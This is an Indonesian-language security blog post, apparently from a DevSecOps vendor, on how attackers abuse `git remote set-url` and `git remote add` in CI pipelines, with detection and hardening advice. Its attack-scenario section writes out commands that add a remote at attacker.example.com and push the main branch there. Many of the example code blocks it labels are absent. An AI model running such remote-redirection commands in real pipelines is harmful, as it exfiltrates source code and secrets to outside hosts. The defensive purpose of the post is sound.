Risiko Tersembunyi di Balik Perintah Git Sederhana
Bagi sebagian besar pengembang, menjalankan perintah seperti git remote set-url origin Terasa rutin, hanya langkah lain dalam memelihara konfigurasi Git. Skrip CI juga umumnya menjalankan perintah seperti git remote set-url, Git set url for remote, atau Git remote add untuk mengambil atau mendorong kode selama proses build. Namun, inilah risikonya: jika penyerang mengubah konfigurasi tersebut (secara lokal atau di CI), mereka dapat mengarahkan kode sumber Anda ke repositori berbahaya, mencegat kredensial, atau menyuntikkan malware ke dalam rantai pasokan.
Contoh bagaimana biasanya digunakan:
# Penggunaan yang sah
git remote set-url origin https://github.com/org/project.git
⚠️ Contoh yang tidak aman, hanya untuk tujuan pendidikan. Jangan digunakan dalam produksi.
Amankan versi, PIN, dan verifikasi asal repositori.
Mengapa? Jika remote dialihkan ke host yang dikendalikan penyerang, setiap git fetch/git push berikutnya akan mengarah ke kode berbahaya. Tetapkan origin tepercaya secara permanen jika memungkinkan dan hindari URL dinamis yang tidak tervalidasi.
Bagaimana Manipulasi Jarak Jauh Mengkompromikan Proses Pembuatan Pipeline
URL remote Git yang dimodifikasi dapat menimbulkan konsekuensi serius dalam otomatisasi. pipelines di mana skrip dipercaya sepenuhnya.
Contoh skenario:
- Skrip CI menggunakan git remote set-url untuk mengkonfigurasi ulang repositori secara dinamis.
- Variabel lingkungan yang telah disusupi (misalnya, token atau URL repositori) disuntikkan ke dalam skrip.
- Proses build tersebut mengambil atau mengirimkan kode ke repositori berbahaya.
- Penyerang menyisipkan pintu belakang (backdoor) atau dependensi yang telah dimodifikasi.
⚠️ Contoh yang tidak aman, hanya untuk tujuan pendidikan. Jangan digunakan dalam produksi.
Versi aman, validasi $REPO_URL sebelum digunakan (daftar putih / verifikasi xygeni).
Mengapa: Validasi URL repositori yang masuk terhadap daftar putih yang terpelihara (atau gunakan xygeni verify --git-origin) sebelum bertindak berdasarkan variabel tersebut. Hal ini mencegah penyerang menimpa variabel lingkungan untuk melakukan pengalihan. pipelines.
Mendeteksi Perubahan Tidak Sah pada Konfigurasi Jarak Jauh
Git tidak memberi tahu Anda saat remote dimodifikasi. Pemantauan proaktif terhadap .git/config dan pemeriksaan integritas pra-pembangunan diperlukan.
Teknik Deteksi Praktis
Periksa konfigurasi Git:
Bandingkan output dengan URL yang diharapkan yang tersimpan dalam basis data yang aman.
Mengesahkan
.git/configintegrity:Bandingkan checksum dengan baseline tepercaya.
Validasi berbasis CI:
Catatan edukatif: Jangan menjalankan pemeriksaan integritas atau perintah verifikasi dengan kredensial jangka panjang yang terekspos dalam log atau lingkungan yang tidak terlindungi. Gunakan kredensial sementara, rahasia yang tersimpan, dan hindari menjalankan perintah validasi sebagai pengguna dengan hak istimewa jika memungkinkan.
Tip Deteksi: Cari remote yang mengarah ke domain non-kanonik (tidak terduga) .net, .io(alamat IP), nama jarak jauh yang duplikat, atau variabel lingkungan yang mengontrol URL repositori tanpa validasi. Deteksi dini mencegah git set-url manipulasi dari bangunan yang terkontaminasi.
Mengamankan Asal Usul Repositori dengan Guardrails dan Validasi Hash
Pencegahan berarti memberlakukan kontrol ketat atas repositori mana yang Anda gunakan untuk membangun aplikasi. Guardrails termasuk penandatanganan, validasi hash, dan pembatasan siapa yang dapat memodifikasi variabel CI.
Praktik Aman untuk Integritas Repositori
Sematkan URL repositori, tetapkan asal tepercaya jika memungkinkan:
Validasi hash repositori:
Verifikasi bahwa HEAD cocok dengan hash yang diharapkan sebelum melakukan build.
⚠️ Contoh yang tidak aman, Mencetak token di log (jangan digunakan di lingkungan produksi).
Versi aman, baca rahasia dari brankas, dan jangan pernah mencetak.
Daftar Periksa Singkat: Manajemen Jarak Jauh Git yang Aman
- memaksakan daftar putih atau verifikasi URL jarak jauh.
- Periksa integritas file .git/config sebelum melakukan build.
- Membutuhkan tanda tangan commits dan tag.
- Batasi siapa yang dapat memodifikasi variabel lingkungan CI.
- Catat eksekusi perintah git remote set-url dan git remote add untuk keperluan audit.
Mengintegrasikan Validasi URL Git Remote Set ke dalam CI/CD Pipelines
Add guardrails dan verifikasi otomatis untuk menghentikan manipulasi jarak jauh sejak dini. pipeline.
Contoh Guardrail: periksa remote yang duplikat atau tidak sah.
Penguatan Sistem untuk Mencegah Perubahan atau Pemalsuan Rantai Pasokan di Lingkungan Bersama
Penggunaan shared runner dan remote command yang permisif berisiko tinggi. Hindari perintah yang menambahkan remote yang belum diverifikasi selama eksekusi job.
⚠️ Contoh yang tidak aman, menambahkan akses jarak jauh penyerang (jangan digunakan).
Versi aman, batasi hanya untuk domain yang tervalidasi dan gunakan –set-url hanya untuk origin yang disetujui.
Catatan: lebih baik menggunakan runner sementara dan menghindari cache bersama yang bersifat permanen antar pekerjaan.
Catatan tentang runner: Gunakan runner sementara dan terisolasi yang dibuat ulang untuk setiap pekerjaan. Disk atau cache bersama dapat menyimpan file yang telah dimodifikasi di seluruh proses build.
Mengintegrasikan URL set Git untuk Validasi Jarak Jauh ke dalam CI/CD Pipelines
Mengamankan penggunaan git remote set-url bukan hanya tentang pemeriksaan manual; ini tentang otomatisasi. Alur kerja DevSecOps modern dapat mengintegrasikan validasi secara langsung ke dalam CI/CD pipelines.
Contoh: Validasi Integritas Jarak Jauh Otomatis
Konfigurasi ini memastikan bahwa sebelum proses build atau deployment dijalankan, pipeline memvalidasi:
- URL repositori sesuai dengan nilai yang diharapkan.
- Commit Tanda tangan tersebut sah.
- Tidak ada remote tak terduga yang ditambahkan menggunakan git add remote.
Kontrol CI Tambahan
- Pre-commit hooks: Pastikan tidak ada akses tidak sah git remote set-url perintah ada di commits.
- Penegakan kebijakan sebagai kode: Tentukan asal yang diizinkan sebagai bagian dari kebijakan kontrol versi.
- Pencermian dependensi: Mengambil kode dari mirror internal yang terverifikasi, bukan dari sumber internet langsung.
Mengotomatiskan pemeriksaan ini tidak hanya mencegah kesalahan konfigurasi tetapi juga mendeteksi upaya manipulasi rantai pasokan sebelum kode tersebut dikirimkan.
Penguatan Sistem untuk Mencegah Perubahan atau Pemalsuan Rantai Pasokan di Lingkungan Bersama
Penggunaan shared runner atau lingkungan CI sementara menimbulkan risiko tambahan. Ketika beberapa build berbagi sumber daya, perintah git remote set-url atau git add remote dapat disalahgunakan untuk menyebarkan remote berbahaya di berbagai sesi.
Skenario Serangan Umum
Skrip build yang disusupi menambahkan remote baru untuk mengirimkan kode ke repositori penyerang:
git add remote backup https://attacker.example.com/repo.git
git push backup main
- Proyek lain yang berjalan pada agen CI yang sama mengambil data dari status yang terkontaminasi ini.
- Data sensitif seperti token atau artefak build bocor melalui push yang tidak sah.
Langkah-langkah Penguatan
- Pelari Sementara: Reset lingkungan CI setelah setiap build.
- Isolasi Jaringan: Batasi lalu lintas keluar hanya ke domain yang disetujui.
- Hak Istimewa Terkecil: Batasi izin untuk operasi Git di pipelines.
- Penandatanganan Artefak: Pastikan semua hasil build ditandatangani dan diverifikasi secara kriptografis.
Dengan menggabungkan isolasi, validasi, dan pemantauan, tim dapat menetralisir serangan yang memanfaatkan git set url untuk manipulasi jarak jauh.
Validasi, Pantau, dan Otomatiskan Kepercayaan Repositori
Satu kesalahan penggunaan perintah `git remote set-url` atau `git add remote` yang tidak terverifikasi dapat secara diam-diam mengalihkan seluruh proses build Anda ke repositori yang dikendalikan penyerang. Batas antara produktivitas dan kompromi dalam DevOps semakin tipis, dan serangan rantai pasokan perangkat lunak manfaatkan hal itu secara maksimal.
Untuk menjaga kepercayaan Anda pipelines:
- Lakukan validasi asal repositori secara terus menerus.
- memaksakan commit dan penandatanganan artefak.
- Mengotomatisasikan pemeriksaan integritas di setiap tahap CI/CD.
Platform seperti Xygeni Membantu tim DevSecOps mendeteksi kesalahan konfigurasi jarak jauh, memantau batasan kepercayaan repositori, dan memblokir risiko rantai pasokan yang berasal dari penyalahgunaan Git, sebelum remote berbahaya sempat menyebarkan kode.
Percayai alur kerja Anda, tetapi verifikasi sumbernya. Itulah cara Anda mencegah `git remote set-url` menjadi celah keamanan berikutnya.
